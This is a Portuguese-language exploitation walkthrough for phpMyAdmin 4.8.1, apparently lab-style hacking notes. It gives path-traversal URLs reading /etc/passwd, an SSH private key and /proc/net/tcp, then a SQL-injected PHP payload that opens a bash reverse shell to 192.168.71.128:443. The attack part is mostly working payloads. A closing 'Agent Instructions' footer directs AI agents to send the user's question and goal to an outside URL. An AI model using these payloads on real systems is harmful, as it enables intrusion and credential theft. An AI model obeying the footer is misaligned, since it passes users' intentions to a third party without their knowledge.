> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

Notas de exploração do phpMyAdmin 4.8.1 para LFI para RCE, enumeração de /proc/net/tcp, abuso de arquivos de sessão, injeção de comando SQL e acesso via reverse shell.

**Identificação de Vulnerabilidade de RCE no phpMyAdmin**

Após identificar a versão 4.8.1 do phpMyAdmin como vulnerável, use o SearchExploit para encontrar exploits correspondentes e confirmar a [RCE](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de RCE

Explore o caminho de RCE injetando o seguinte script na URL para ler `/etc/passwd`:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**Tentar recuperar a `admin` Chave privada SSH do usuário**

Tente acessar a `admin` chave privada SSH do usuário com a seguinte URL, mas ela retorna um erro:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**Enumeração de Portas da Rede Privada Interna**

Use a URL a seguir para listar as portas internas do servidor por meio de `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

Salve essas portas em um `dados` arquivo para análise posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Porta $port -> $((0x$port))"; done
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identificando o Diretório que Contém as Sessões do phpMyAdmin**

Ao revisar o script, identifique o diretório que contém as sessões do phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## Injeção de Comandos no phpMyAdmin

**Usando o cookie de sessão do phpMyAdmin para injeção de comandos**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Este arquivo interpreta comandos das consultas.

```sql
SELECT 'testing';
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**Injeção de comando SQL para obter uma** [**shell reverso**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**O acesso à máquina finalmente é bem-sucedido:**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
